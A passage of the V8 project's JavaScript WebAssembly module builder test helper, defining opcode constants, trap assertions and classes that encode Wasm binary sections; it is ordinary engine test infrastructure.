 121 | let kSig_v_iii = makeSig([kWasmI32, kWasmI32, kWasmI32], []);
 122 | let kSig_v_l = makeSig([kWasmI64], []);
 123 | let kSig_v_d = makeSig([kWasmF64], []);
 124 | let kSig_v_dd = makeSig([kWasmF64, kWasmF64], []);
 125 | let kSig_v_ddi = makeSig([kWasmF64, kWasmF64, kWasmI32], []);
 126 | 
 127 | function makeSig(params, results) {
 128 |   return {params: params, results: results};
 129 | }
 130 | 
 131 | function makeSig_v_x(x) {
 132 |   return makeSig([x], []);
 133 | }
 134 | 
 135 | function makeSig_v_xx(x) {
 136 |   return makeSig([x, x], []);
 137 | }
 138 | 
 139 | function makeSig_r_v(r) {
 140 |   return makeSig([], [r]);
 141 | }
 142 | 
 143 | function makeSig_r_x(r, x) {
 144 |   return makeSig([x], [r]);
 145 | }
 146 | 
 147 | function makeSig_r_xx(r, x) {
 148 |   return makeSig([x, x], [r]);
 149 | }
 150 | 
 151 | // Opcodes
 152 | let kExprUnreachable = 0x00;
 153 | let kExprNop = 0x01;
 154 | let kExprBlock = 0x02;
 155 | let kExprLoop = 0x03;
 156 | let kExprIf = 0x04;
 157 | let kExprElse = 0x05;
 158 | let kExprTry = 0x06;
 159 | let kExprCatch = 0x07;
 160 | let kExprThrow = 0x08;
 161 | let kExprEnd = 0x0b;
 162 | let kExprBr = 0x0c;
 163 | let kExprBrIf = 0x0d;
 164 | let kExprBrTable = 0x0e;
 165 | let kExprReturn = 0x0f;
 166 | let kExprCallFunction = 0x10;
 167 | let kExprCallIndirect = 0x11;
 168 | let kExprDrop = 0x1a;
 169 | let kExprSelect = 0x1b;
 170 | let kExprGetLocal = 0x20;
 171 | let kExprSetLocal = 0x21;
 172 | let kExprTeeLocal = 0x22;
 173 | let kExprGetGlobal = 0x23;
 174 | let kExprSetGlobal = 0x24;
 175 | let kExprI32Const = 0x41;
 176 | let kExprI64Const = 0x42;
 177 | let kExprF32Const = 0x43;
 178 | let kExprF64Const = 0x44;
 179 | let kExprI32LoadMem = 0x28;
 180 | let kExprI64LoadMem = 0x29;
 181 | let kExprF32LoadMem = 0x2a;
 182 | let kExprF64LoadMem = 0x2b;
 183 | let kExprI32LoadMem8S = 0x2c;
 184 | let kExprI32LoadMem8U = 0x2d;
 185 | let kExprI32LoadMem16S = 0x2e;
 186 | let kExprI32LoadMem16U = 0x2f;
 187 | let kExprI64LoadMem8S = 0x30;
 188 | let kExprI64LoadMem8U = 0x31;
 189 | let kExprI64LoadMem16S = 0x32;
 190 | let kExprI64LoadMem16U = 0x33;
 191 | let kExprI64LoadMem32S = 0x34;
 192 | let kExprI64LoadMem32U = 0x35;
 193 | let kExprI32StoreMem = 0x36;
 194 | let kExprI64StoreMem = 0x37;
 195 | let kExprF32StoreMem = 0x38;
 196 | let kExprF64StoreMem = 0x39;
 197 | let kExprI32StoreMem8 = 0x3a;
 198 | let kExprI32StoreMem16 = 0x3b;
 199 | let kExprI64StoreMem8 = 0x3c;
 200 | let kExprI64StoreMem16 = 0x3d;
 201 | let kExprI64StoreMem32 = 0x3e;
 202 | let kExprMemorySize = 0x3f;
 203 | let kExprGrowMemory = 0x40;
 204 | let kExprI32Eqz = 0x45;
 205 | let kExprI32Eq = 0x46;
 206 | let kExprI32Ne = 0x47;
 207 | let kExprI32LtS = 0x48;
 208 | let kExprI32LtU = 0x49;
 209 | let kExprI32GtS = 0x4a;
 210 | let kExprI32GtU = 0x4b;
 211 | let kExprI32LeS = 0x4c;
 212 | let kExprI32LeU = 0x4d;
 213 | let kExprI32GeS = 0x4e;
 214 | let kExprI32GeU = 0x4f;
 215 | let kExprI64Eqz = 0x50;
 216 | let kExprI64Eq = 0x51;
 217 | let kExprI64Ne = 0x52;
 218 | let kExprI64LtS = 0x53;
 219 | let kExprI64LtU = 0x54;
 220 | let kExprI64GtS = 0x55;
 221 | let kExprI64GtU = 0x56;
 222 | let kExprI64LeS = 0x57;
 223 | let kExprI64LeU = 0x58;
 224 | let kExprI64GeS = 0x59;
 225 | let kExprI64GeU = 0x5a;
 226 | let kExprF32Eq = 0x5b;
 227 | let kExprF32Ne = 0x5c;
 228 | let kExprF32Lt = 0x5d;
 229 | let kExprF32Gt = 0x5e;
 230 | let kExprF32Le = 0x5f;
 231 | let kExprF32Ge = 0x60;
 232 | let kExprF64Eq = 0x61;
 233 | let kExprF64Ne = 0x62;
 234 | let kExprF64Lt = 0x63;
 235 | let kExprF64Gt = 0x64;
 236 | let kExprF64Le = 0x65;
 237 | let kExprF64Ge = 0x66;
 238 | let kExprI32Clz = 0x67;
 239 | let kExprI32Ctz = 0x68;
 240 | let kExprI32Popcnt = 0x69;
 241 | let kExprI32Add = 0x6a;
 242 | let kExprI32Sub = 0x6b;
 243 | let kExprI32Mul = 0x6c;
 244 | let kExprI32DivS = 0x6d;
 245 | let kExprI32DivU = 0x6e;
 246 | let kExprI32RemS = 0x6f;
 247 | let kExprI32RemU = 0x70;
 248 | let kExprI32And = 0x71;
 249 | let kExprI32Ior = 0x72;
 250 | let kExprI32Xor = 0x73;
 251 | let kExprI32Shl = 0x74;
 252 | let kExprI32ShrS = 0x75;
 253 | let kExprI32ShrU = 0x76;
 254 | let kExprI32Rol = 0x77;
 255 | let kExprI32Ror = 0x78;
 256 | let kExprI64Clz = 0x79;
 257 | let kExprI64Ctz = 0x7a;
 258 | let kExprI64Popcnt = 0x7b;
 259 | let kExprI64Add = 0x7c;
 260 | let kExprI64Sub = 0x7d;
 261 | let kExprI64Mul = 0x7e;
 262 | let kExprI64DivS = 0x7f;
 263 | let kExprI64DivU = 0x80;
 264 | let kExprI64RemS = 0x81;
 265 | let kExprI64RemU = 0x82;
 266 | let kExprI64And = 0x83;
 267 | let kExprI64Ior = 0x84;
 268 | let kExprI64Xor = 0x85;
 269 | let kExprI64Shl = 0x86;
 270 | let kExprI64ShrS = 0x87;
 271 | let kExprI64ShrU = 0x88;
 272 | let kExprI64Rol = 0x89;
 273 | let kExprI64Ror = 0x8a;
 274 | let kExprF32Abs = 0x8b;
 275 | let kExprF32Neg = 0x8c;
 276 | let kExprF32Ceil = 0x8d;
 277 | let kExprF32Floor = 0x8e;
 278 | let kExprF32Trunc = 0x8f;
 279 | let kExprF32NearestInt = 0x90;
 280 | let kExprF32Sqrt = 0x91;
 281 | let kExprF32Add = 0x92;
 282 | let kExprF32Sub = 0x93;
 283 | let kExprF32Mul = 0x94;
 284 | let kExprF32Div = 0x95;
 285 | let kExprF32Min = 0x96;
 286 | let kExprF32Max = 0x97;
 287 | let kExprF32CopySign = 0x98;
 288 | let kExprF64Abs = 0x99;
 289 | let kExprF64Neg = 0x9a;
 290 | let kExprF64Ceil = 0x9b;
 291 | let kExprF64Floor = 0x9c;
 292 | let kExprF64Trunc = 0x9d;
 293 | let kExprF64NearestInt = 0x9e;
 294 | let kExprF64Sqrt = 0x9f;
 295 | let kExprF64Add = 0xa0;
 296 | let kExprF64Sub = 0xa1;
 297 | let kExprF64Mul = 0xa2;
 298 | let kExprF64Div = 0xa3;
 299 | let kExprF64Min = 0xa4;
 300 | let kExprF64Max = 0xa5;
 301 | let kExprF64CopySign = 0xa6;
 302 | let kExprI32ConvertI64 = 0xa7;
 303 | let kExprI32SConvertF32 = 0xa8;
 304 | let kExprI32UConvertF32 = 0xa9;
 305 | let kExprI32SConvertF64 = 0xaa;
 306 | let kExprI32UConvertF64 = 0xab;
 307 | let kExprI64SConvertI32 = 0xac;
 308 | let kExprI64UConvertI32 = 0xad;
 309 | let kExprI64SConvertF32 = 0xae;
 310 | let kExprI64UConvertF32 = 0xaf;
 311 | let kExprI64SConvertF64 = 0xb0;
 312 | let kExprI64UConvertF64 = 0xb1;
 313 | let kExprF32SConvertI32 = 0xb2;
 314 | let kExprF32UConvertI32 = 0xb3;
 315 | let kExprF32SConvertI64 = 0xb4;
 316 | let kExprF32UConvertI64 = 0xb5;
 317 | let kExprF32ConvertF64 = 0xb6;
 318 | let kExprF64SConvertI32 = 0xb7;
 319 | let kExprF64UConvertI32 = 0xb8;
 320 | let kExprF64SConvertI64 = 0xb9;
 321 | let kExprF64UConvertI64 = 0xba;
 322 | let kExprF64ConvertF32 = 0xbb;
 323 | let kExprI32ReinterpretF32 = 0xbc;
 324 | let kExprI64ReinterpretF64 = 0xbd;
 325 | let kExprF32ReinterpretI32 = 0xbe;
 326 | let kExprF64ReinterpretI64 = 0xbf;
 327 | 
 328 | // Prefix opcodes
 329 | let kAtomicPrefix = 0xfe;
 330 | 
 331 | let kExprI32AtomicAdd = 0x1e;
 332 | let kExprI32AtomicAdd8U = 0x20;
 333 | let kExprI32AtomicAdd16U = 0x21;
 334 | let kExprI32AtomicSub = 0x25;
 335 | let kExprI32AtomicSub8U = 0x27;
 336 | let kExprI32AtomicSub16U = 0x28;
 337 | let kExprI32AtomicAnd = 0x2c;
 338 | let kExprI32AtomicAnd8U = 0x2e;
 339 | let kExprI32AtomicAnd16U = 0x2f;
 340 | let kExprI32AtomicOr = 0x33;
 341 | let kExprI32AtomicOr8U = 0x35;
 342 | let kExprI32AtomicOr16U = 0x36;
 343 | let kExprI32AtomicXor = 0x3a;
 344 | let kExprI32AtomicXor8U = 0x3c;
 345 | let kExprI32AtomicXor16U = 0x3d;
 346 | let kExprI32AtomicExchange = 0x41;
 347 | let kExprI32AtomicExchange8U = 0x43;
 348 | let kExprI32AtomicExchange16U = 0x44;
 349 | let kExprI32AtomicCompareExchange = 0x48
 350 | let kExprI32AtomicCompareExchange8U = 0x4a
 351 | let kExprI32AtomicCompareExchange16U = 0x4b
 352 | 
 353 | let kTrapUnreachable          = 0;
 354 | let kTrapMemOutOfBounds       = 1;
 355 | let kTrapDivByZero            = 2;
 356 | let kTrapDivUnrepresentable   = 3;
 357 | let kTrapRemByZero            = 4;
 358 | let kTrapFloatUnrepresentable = 5;
 359 | let kTrapFuncInvalid          = 6;
 360 | let kTrapFuncSigMismatch      = 7;
 361 | let kTrapInvalidIndex         = 8;
 362 | 
 363 | let kTrapMsgs = [
 364 |   "unreachable",
 365 |   "memory access out of bounds",
 366 |   "divide by zero",
 367 |   "divide result unrepresentable",
 368 |   "remainder by zero",
 369 |   "integer result unrepresentable",
 370 |   "invalid function",
 371 |   "function signature mismatch",
 372 |   "invalid index into function table"
 373 | ];
 374 | 
 375 | function assertTraps(trap, code) {
 376 |   try {
 377 |     if (typeof code === 'function') {
 378 |       code();
 379 |     } else {
 380 |       eval(code);
 381 |     }
 382 |   } catch (e) {
 383 |     assertEquals('object', typeof e);
 384 |     assertEquals(kTrapMsgs[trap], e.message);
 385 |     // Success.
 386 |     return;
 387 |   }
 388 |   throw new MjsUnitAssertionError('Did not trap, expected: ' + kTrapMsgs[trap]);
 389 | }
 390 | 
 391 | function assertWasmThrows(values, code) {
 392 |   try {
 393 |     if (typeof code === 'function') {
 394 |       code();
 395 |     } else {
 396 |       eval(code);
 397 |     }
 398 |   } catch (e) {
 399 |     assertTrue(e instanceof WebAssembly.RuntimeError);
 400 |     assertNotEquals(e['WasmExceptionTag'], undefined);
 401 |     assertTrue(Number.isInteger(e['WasmExceptionTag']));
 402 |     // TODO(kschimpf): Extract values from the exception.
 403 |     let e_values = [];
 404 |     assertEquals(values, e_values);
 405 |     // Success.
 406 |     return;
 407 |   }
 408 |   throw new MjsUnitAssertionError('Did not throw, expected: ' + values);
 409 | }
 410 | 
 411 | // Copyright 2016 the V8 project authors. All rights reserved.
 412 | // Use of this source code is governed by a BSD-style license that can be
 413 | // found in the LICENSE file.
 414 | 
 415 | // Used for encoding f32 and double constants to bits.
 416 | let __buffer = new ArrayBuffer(8);
 417 | let byte_view = new Int8Array(__buffer);
 418 | let f32_view = new Float32Array(__buffer);
 419 | let f64_view = new Float64Array(__buffer);
 420 | 
 421 | class Binary extends Array {
 422 |   emit_u8(val) {
 423 |     this.push(val);
 424 |   }
 425 | 
 426 |   emit_u16(val) {
 427 |     this.push(val & 0xff);
 428 |     this.push((val >> 8) & 0xff);
 429 |   }
 430 | 
 431 |   emit_u32(val) {
 432 |     this.push(val & 0xff);
 433 |     this.push((val >> 8) & 0xff);
 434 |     this.push((val >> 16) & 0xff);
 435 |     this.push((val >> 24) & 0xff);
 436 |   }
 437 | 
 438 |   emit_u32v(val) {
 439 |     while (true) {
 440 |       let v = val & 0xff;
 441 |       val = val >>> 7;
 442 |       if (val == 0) {
 443 |         this.push(v);
 444 |         break;
 445 |       }
 446 |       this.push(v | 0x80);
 447 |     }
 448 |   }
 449 | 
 450 |   emit_bytes(data) {
 451 |     for (let i = 0; i < data.length; i++) {
 452 |       this.push(data[i] & 0xff);
 453 |     }
 454 |   }
 455 | 
 456 |   emit_string(string) {
 457 |     // When testing illegal names, we pass a byte array directly.
 458 |     if (string instanceof Array) {
 459 |       this.emit_u32v(string.length);
 460 |       this.emit_bytes(string);
 461 |       return;
 462 |     }
 463 | 
 464 |     // This is the hacky way to convert a JavaScript string to a UTF8 encoded
 465 |     // string only containing single-byte characters.
 466 |     let string_utf8 = unescape(encodeURIComponent(string));
 467 |     this.emit_u32v(string_utf8.length);
 468 |     for (let i = 0; i < string_utf8.length; i++) {
 469 |       this.emit_u8(string_utf8.charCodeAt(i));
 470 |     }
 471 |   }
 472 | 
 473 |   emit_header() {
 474 |     this.push(kWasmH0, kWasmH1, kWasmH2, kWasmH3,
 475 |               kWasmV0, kWasmV1, kWasmV2, kWasmV3);
 476 |   }
 477 | 
 478 |   emit_section(section_code, content_generator) {
 479 |     // Emit section name.
 480 |     this.emit_u8(section_code);
 481 |     // Emit the section to a temporary buffer: its full length isn't know yet.
 482 |     let section = new Binary;
 483 |     content_generator(section);
 484 |     // Emit section length.
 485 |     this.emit_u32v(section.length);
 486 |     // Copy the temporary buffer.
 487 |     for (var i = 0; i < section.length; i++) this.push(section[i]);
 488 |   }
 489 | }
 490 | 
 491 | class WasmFunctionBuilder {
 492 |   constructor(module, name, type_index) {
 493 |     this.module = module;
 494 |     this.name = name;
 495 |     this.type_index = type_index;
 496 |     this.body = [];
 497 |   }
 498 | 
 499 |   numLocalNames() {
 500 |     if (this.local_names === undefined) return 0;
 501 |     let num_local_names = 0;
 502 |     for (let loc_name of this.local_names) {
 503 |       if (loc_name !== undefined) ++num_local_names;
 504 |     }
 505 |     return num_local_names;
 506 |   }
 507 | 
 508 |   exportAs(name) {
 509 |     this.module.addExport(name, this.index);
 510 |     return this;
 511 |   }
 512 | 
 513 |   exportFunc() {
 514 |     this.exportAs(this.name);
 515 |     return this;
 516 |   }
 517 | 
 518 |   addBody(body) {
 519 |     for (let b of body) {
 520 |       if (typeof b !== 'number' || (b & (~0xFF)) !== 0 )
 521 |         throw new Error('invalid body (entries must be 8 bit numbers): ' + body);
 522 |     }
 523 |     this.body = body.slice();
 524 |     // Automatically add the end for the function block to the body.
 525 |     this.body.push(kExprEnd);
 526 |     return this;
 527 |   }
 528 | 
 529 |   addBodyWithEnd(body) {
 530 |     this.body = body;
 531 |     return this;
 532 |   }
 533 | 
 534 |   addLocals(locals, names) {
 535 |     this.locals = locals;
 536 |     this.local_names = names;
 537 |     return this;
 538 |   }
 539 | 
 540 |   end() {
 541 |     return this.module;
 542 |   }
 543 | }
 544 | 
 545 | class WasmGlobalBuilder {
 546 |   constructor(module, type, mutable) {
 547 |     this.module = module;
 548 |     this.type = type;
 549 |     this.mutable = mutable;
 550 |     this.init = 0;
 551 |   }
 552 | 
 553 |   exportAs(name) {
 554 |     this.module.exports.push({name: name, kind: kExternalGlobal,
 555 |                               index: this.index});
 556 |     return this;
 557 |   }
 558 | }
 559 | 
 560 | class WasmModuleBuilder {
 561 |   constructor() {
 562 |     this.types = [];
 563 |     this.imports = [];
 564 |     this.exports = [];
 565 |     this.globals = [];
 566 |     this.exceptions = [];
 567 |     this.functions = [];
 568 |     this.function_table = [];
 569 |     this.function_table_length_min = 0;
 570 |     this.function_table_length_max = 0;
 571 |     this.function_table_inits = [];
 572 |     this.segments = [];
 573 |     this.explicit = [];
 574 |     this.num_imported_funcs = 0;
 575 |     this.num_imported_globals = 0;
 576 |     return this;
 577 |   }
 578 | 
 579 |   addStart(start_index) {
 580 |     this.start_index = start_index;
 581 |     return this;
 582 |   }
 583 | 
 584 |   addMemory(min, max, exp, shared) {
 585 |     this.memory = {min: min, max: max, exp: exp, shared: shared};
 586 |     return this;
 587 |   }
 588 | 
 589 |   addExplicitSection(bytes) {
 590 |     this.explicit.push(bytes);
 591 |     return this;
 592 |   }
 593 | 
 594 |   stringToBytes(name) {
 595 |     var result = new Binary();
 596 |     result.emit_u32v(name.length);
 597 |     for (var i = 0; i < name.length; i++) {
 598 |       result.emit_u8(name.charCodeAt(i));
 599 |     }
 600 |     return result;
 601 |   }
 602 | 
 603 |   addCustomSection(name, bytes) {
 604 |     name = this.stringToBytes(name);
 605 |     var length = new Binary();
 606 |     length.emit_u32v(name.length + bytes.length);
 607 |     this.explicit.push([0, ...length, ...name, ...bytes]);
 608 |   }
 609 | 
 610 |   addType(type) {
 611 |     this.types.push(type);
 612 |     var pl = type.params.length;  // should have params
 613 |     var rl = type.results.length; // should have results
 614 |     return this.types.length - 1;
 615 |   }
 616 | 
 617 |   addGlobal(local_type, mutable) {
 618 |     let glob = new WasmGlobalBuilder(this, local_type, mutable);
 619 |     glob.index = this.globals.length + this.num_imported_globals;
 620 |     this.globals.push(glob);
 621 |     return glob;
 622 |   }
 623 | 
 624 |   addException(type) {
 625 |     if (type.results.length != 0)
 626 |       throw new Error('Invalid exception signature: ' + type);
 627 |     this.exceptions.push(type);
 628 |     return this.exceptions.length - 1;
 629 |   }
 630 | 
 631 |   addFunction(name, type) {
 632 |     let type_index = (typeof type) == "number" ? type : this.addType(type);
 633 |     let func = new WasmFunctionBuilder(this, name, type_index);
 634 |     func.index = this.functions.length + this.num_imported_funcs;
 635 |     this.functions.push(func);
 636 |     return func;
 637 |   }
 638 | 
 639 |   addImport(module = "", name, type) {
 640 |     let type_index = (typeof type) == "number" ? type : this.addType(type);
 641 |     this.imports.push({module: module, name: name, kind: kExternalFunction,
 642 |                        type: type_index});
 643 |     return this.num_imported_funcs++;
 644 |   }
 645 | 
 646 |   addImportedGlobal(module = "", name, type) {
 647 |     let o = {module: module, name: name, kind: kExternalGlobal, type: type,
 648 |              mutable: false}
 649 |     this.imports.push(o);
 650 |     return this.num_imported_globals++;
 651 |   }
 652 | 
 653 |   addImportedMemory(module = "", name, initial = 0, maximum, shared) {
 654 |     let o = {module: module, name: name, kind: kExternalMemory,
 655 |              initial: initial, maximum: maximum, shared: shared};
 656 |     this.imports.push(o);
 657 |     return this;
 658 |   }
 659 | 
 660 |   addImportedTable(module = "", name, initial, maximum) {
 661 |     let o = {module: module, name: name, kind: kExternalTable, initial: initial,
 662 |              maximum: maximum};
 663 |     this.imports.push(o);
 664 |   }
 665 | 
 666 |   addExport(name, index) {
 667 |     this.exports.push({name: name, kind: kExternalFunction, index: index});
 668 |     return this;
 669 |   }
 670 | 
 671 |   addExportOfKind(name, kind, index) {
 672 |     this.exports.push({name: name, kind: kind, index: index});
 673 |     return this;
 674 |   }
 675 | 
 676 |   addDataSegment(addr, data, is_global = false) {
 677 |     this.segments.push({addr: addr, data: data, is_global: is_global});
 678 |     return this.segments.length - 1;
 679 |   }
 680 | 
 681 |   exportMemoryAs(name) {
 682 |     this.exports.push({name: name, kind: kExternalMemory, index: 0});
 683 |   }
 684 | 
 685 |   addFunctionTableInit(base, is_global, array, is_import = false) {
 686 |     this.function_table_inits.push({base: base, is_global: is_global,
 687 |                                     array: array});
 688 |     if (!is_global) {
 689 |       var length = base + array.length;
 690 |       if (length > this.function_table_length_min && !is_import) {
 691 |         this.function_table_length_min = length;
 692 |       }
 693 |       if (length > this.function_table_length_max && !is_import) {
 694 |          this.function_table_length_max = length;
 695 |       }
 696 |     }
 697 |     return this;
 698 |   }
 699 | 
 700 |   appendToTable(array) {
 701 |     for (let n of array) {
 702 |       if (typeof n != 'number')
 703 |         throw new Error('invalid table (entries have to be numbers): ' + array);
 704 |     }
 705 |     return this.addFunctionTableInit(this.function_table.length, false, array);
 706 |   }
 707 | 
 708 |   setFunctionTableBounds(min, max) {
 709 |     this.function_table_length_min = min;
 710 |     this.function_table_length_max = max;
 711 |     return this;
 712 |   }
 713 | 
 714 |   setName(name) {
 715 |     this.name = name;
 716 |     return this;
 717 |   }
 718 | 
 719 |   toArray(debug = false) {
 720 |     let binary = new Binary;
 721 |     let wasm = this;
 722 | 
 723 |     // Add header
 724 |     binary.emit_header();
 725 | 
 726 |     // Add type section
 727 |     if (wasm.types.length > 0) {
 728 |       if (debug) print("emitting types @ " + binary.length);
 729 |       binary.emit_section(kTypeSectionCode, section => {
 730 |         section.emit_u32v(wasm.types.length);
 731 |         for (let type of wasm.types) {
 732 |           section.emit_u8(kWasmFunctionTypeForm);
 733 |           section.emit_u32v(type.params.length);
 734 |           for (let param of type.params) {
 735 |             section.emit_u8(param);
 736 |           }
 737 |           section.emit_u32v(type.results.length);
 738 |           for (let result of type.results) {
 739 |             section.emit_u8(result);
 740 |           }
 741 |         }
 742 |       });
 743 |     }
 744 | 
 745 |     // Add imports section
 746 |     if (wasm.imports.length > 0) {
 747 |       if (debug) print("emitting imports @ " + binary.length);
 748 |       binary.emit_section(kImportSectionCode, section => {
 749 |         section.emit_u32v(wasm.imports.length);
 750 |         for (let imp of wasm.imports) {
 751 |           section.emit_string(imp.module);
 752 |           section.emit_string(imp.name || '');
 753 |           section.emit_u8(imp.kind);
 754 |           if (imp.kind == kExternalFunction) {
 755 |             section.emit_u32v(imp.type);
 756 |           } else if (imp.kind == kExternalGlobal) {
 757 |             section.emit_u32v(imp.type);
 758 |             section.emit_u8(imp.mutable);
 759 |           } else if (imp.kind == kExternalMemory) {
 760 |             var has_max = (typeof imp.maximum) != "undefined";
 761 |             var is_shared = (typeof imp.shared) != "undefined";
 762 |             if (is_shared) {
 763 |               section.emit_u8(has_max ? 3 : 2); // flags
 764 |             } else {
 765 |               section.emit_u8(has_max ? 1 : 0); // flags
 766 |             }
 767 |             section.emit_u32v(imp.initial); // initial
 768 |             if (has_max) section.emit_u32v(imp.maximum); // maximum
 769 |           } else if (imp.kind == kExternalTable) {
 770 |             section.emit_u8(kWasmAnyFunctionTypeForm);
 771 |             var has_max = (typeof imp.maximum) != "undefined";
 772 |             section.emit_u8(has_max ? 1 : 0); // flags
 773 |             section.emit_u32v(imp.initial); // initial
 774 |             if (has_max) section.emit_u32v(imp.maximum); // maximum
 775 |           } else {
 776 |             throw new Error("unknown/unsupported import kind " + imp.kind);
 777 |           }
 778 |         }
 779 |       });
 780 |     }
 781 | 
 782 |     // Add functions declarations
 783 |     if (wasm.functions.length > 0) {
 784 |       if (debug) print("emitting function decls @ " + binary.length);
 785 |       binary.emit_section(kFunctionSectionCode, section => {
 786 |         section.emit_u32v(wasm.functions.length);
 787 |         for (let func of wasm.functions) {
 788 |           section.emit_u32v(func.type_index);
 789 |         }
 790 |       });
 791 |     }
 792 | 
 793 |     // Add function_table.
 794 |     if (wasm.function_table_length_min > 0) {
 795 |       if (debug) print("emitting table @ " + binary.length);
 796 |       binary.emit_section(kTableSectionCode, section => {
 797 |         section.emit_u8(1);  // one table entry
 798 |         section.emit_u8(kWasmAnyFunctionTypeForm);
 799 |         // TODO(gdeepti): Cleanup to use optional max flag,
 800 |         // fix up tests to set correct initial/maximum values
 801 |         section.emit_u32v(1);
 802 |         section.emit_u32v(wasm.function_table_length_min);
 803 |         section.emit_u32v(wasm.function_table_length_max);
 804 |       });
 805 |     }
 806 | 
 807 |     // Add memory section
 808 |     if (wasm.memory !== undefined) {
 809 |       if (debug) print("emitting memory @ " + binary.length);
 810 |       binary.emit_section(kMemorySectionCode, section => {
 811 |         section.emit_u8(1);  // one memory entry
 812 |         const has_max = wasm.memory.max !== undefined;
 813 |         const is_shared = wasm.memory.shared !== undefined;
 814 |         // Emit flags (bit 0: reszeable max, bit 1: shared memory)
 815 |         if (is_shared) {
 816 |           section.emit_u8(has_max ? 3 : 2);
 817 |         } else {
 818 |           section.emit_u8(has_max ? 1 : 0);
 819 |         }
 820 |         section.emit_u32v(wasm.memory.min);
 821 |         if (has_max) section.emit_u32v(wasm.memory.max);
 822 |         if (wasm.memory.shared) section.emit_u8(1);
 823 |       });
 824 |     }
 825 | 
 826 |     // Add global section.
 827 |     if (wasm.globals.length > 0) {
 828 |       if (debug) print ("emitting globals @ " + binary.length);
 829 |       binary.emit_section(kGlobalSectionCode, section => {
 830 |         section.emit_u32v(wasm.globals.length);
 831 |         for (let global of wasm.globals) {
 832 |           section.emit_u8(global.type);
 833 |           section.emit_u8(global.mutable);
 834 |           if ((typeof global.init_index) == "undefined") {
 835 |             // Emit a constant initializer.
 836 |             switch (global.type) {
 837 |             case kWasmI32:
 838 |               section.emit_u8(kExprI32Const);
 839 |               section.emit_u32v(global.init);
 840 |               break;
 841 |             case kWasmI64:
 842 |               section.emit_u8(kExprI64Const);
 843 |               section.emit_u32v(global.init);
 844 |               break;
 845 |             case kWasmF32:
 846 |               section.emit_u8(kExprF32Const);
 847 |               f32_view[0] = global.init;
 848 |               section.emit_u8(byte_view[0]);
 849 |               section.emit_u8(byte_view[1]);
 850 |               section.emit_u8(byte_view[2]);
 851 |               section.emit_u8(byte_view[3]);
 852 |               break;
 853 |             case kWasmF64:
 854 |               section.emit_u8(kExprF64Const);
 855 |               f64_view[0] = global.init;
 856 |               section.emit_u8(byte_view[0]);
 857 |               section.emit_u8(byte_view[1]);
 858 |               section.emit_u8(byte_view[2]);
 859 |               section.emit_u8(byte_view[3]);
 860 |               section.emit_u8(byte_view[4]);
 861 |               section.emit_u8(byte_view[5]);
 862 |               section.emit_u8(byte_view[6]);
 863 |               section.emit_u8(byte_view[7]);
 864 |               break;
 865 |             }
 866 |           } else {
 867 |             // Emit a global-index initializer.
 868 |             section.emit_u8(kExprGetGlobal);
 869 |             section.emit_u32v(global.init_index);
 870 |           }
 871 |           section.emit_u8(kExprEnd);  // end of init expression
 872 |         }
 873 |       });
 874 |     }
 875 | 
 876 |     // Add export table.
 877 |     var mem_export = (wasm.memory !== undefined && wasm.memory.exp);
 878 |     var exports_count = wasm.exports.length + (mem_export ? 1 : 0);
 879 |     if (exports_count > 0) {
 880 |       if (debug) print("emitting exports @ " + binary.length);
 881 |       binary.emit_section(kExportSectionCode, section => {
 882 |         section.emit_u32v(exports_count);
 883 |         for (let exp of wasm.exports) {
 884 |           section.emit_string(exp.name);
 885 |           section.emit_u8(exp.kind);
 886 |           section.emit_u32v(exp.index);
 887 |         }
 888 |         if (mem_export) {
 889 |           section.emit_string("memory");
 890 |           section.emit_u8(kExternalMemory);
 891 |           section.emit_u8(0);
 892 |         }
 893 |       });
 894 |     }
 895 | 
 896 |     // Add start function section.
 897 |     if (wasm.start_index !== undefined) {
 898 |       if (debug) print("emitting start function @ " + binary.length);
 899 |       binary.emit_section(kStartSectionCode, section => {
 900 |         section.emit_u32v(wasm.start_index);
 901 |       });
 902 |     }
 903 | 
 904 |     // Add table elements.
 905 |     if (wasm.function_table_inits.length > 0) {
 906 |       if (debug) print("emitting table @ " + binary.length);
 907 |       binary.emit_section(kElementSectionCode, section => {
 908 |         var inits = wasm.function_table_inits;
 909 |         section.emit_u32v(inits.length);
 910 | 
 911 |         for (let init of inits) {
 912 |           section.emit_u8(0); // table index
 913 |           if (init.is_global) {
 914 |             section.emit_u8(kExprGetGlobal);
 915 |           } else {
 916 |             section.emit_u8(kExprI32Const);
 917 |           }
 918 |           section.emit_u32v(init.base);
 919 |           section.emit_u8(kExprEnd);
 920 |           section.emit_u32v(init.array.length);
 921 |           for (let index of init.array) {
 922 |             section.emit_u32v(index);
 923 |           }
 924 |         }
 925 |       });
 926 |     }
 927 | 
 928 |     // Add exceptions.
 929 |     if (wasm.exceptions.length > 0) {
 930 |       if (debug) print("emitting exceptions @ " + binary.length);
 931 |       binary.emit_section(kExceptionSectionCode, section => {
 932 |         section.emit_u32v(wasm.exceptions.length);
 933 |         for (let type of wasm.exceptions) {
 934 |           section.emit_u32v(type.params.length);
 935 |           for (let param of type.params) {
 936 |             section.enit_u8(param);
 937 |           }
 938 |         }
 939 |       });
 940 |     }
 941 | 
 942 |     // Add function bodies.
 943 |     if (wasm.functions.length > 0) {
 944 |       // emit function bodies
 945 |       if (debug) print("emitting code @ " + binary.length);
 946 |       binary.emit_section(kCodeSectionCode, section => {
 947 |         section.emit_u32v(wasm.functions.length);
 948 |         for (let func of wasm.functions) {
 949 |           // Function body length will be patched later.
 950 |           let local_decls = [];
 951 |           let l = func.locals;
 952 |           if (l !== undefined) {
 953 |             let local_decls_count = 0;
 954 |             if (l.i32_count > 0) {
 955 |               local_decls.push({count: l.i32_count, type: kWasmI32});
 956 |             }
 957 |             if (l.i64_count > 0) {
 958 |               local_decls.push({count: l.i64_count, type: kWasmI64});
 959 |             }
 960 |             if (l.f32_count > 0) {
 961 |               local_decls.push({count: l.f32_count, type: kWasmF32});
 962 |             }
 963 |             if (l.f64_count > 0) {
 964 |               local_decls.push({count: l.f64_count, type: kWasmF64});
 965 |             }
 966 |             if (l.s128_count > 0) {
 967 |               local_decls.push({count: l.s128_count, type: kWasmS128});
 968 |             }
 969 |           }
 970 | 
 971 |           let header = new Binary;
 972 |           header.emit_u32v(local_decls.length);
 973 |           for (let decl of local_decls) {
 974 |             header.emit_u32v(decl.count);
 975 |             header.emit_u8(decl.type);
 976 |           }
 977 | 
 978 |           section.emit_u32v(header.length + func.body.length);
 979 |           section.emit_bytes(header);
 980 |           section.emit_bytes(func.body);
 981 |         }
 982 |       });
 983 |     }
 984 | 
 985 |     // Add data segments.
 986 |     if (wasm.segments.length > 0) {
 987 |       if (debug) print("emitting data segments @ " + binary.length);
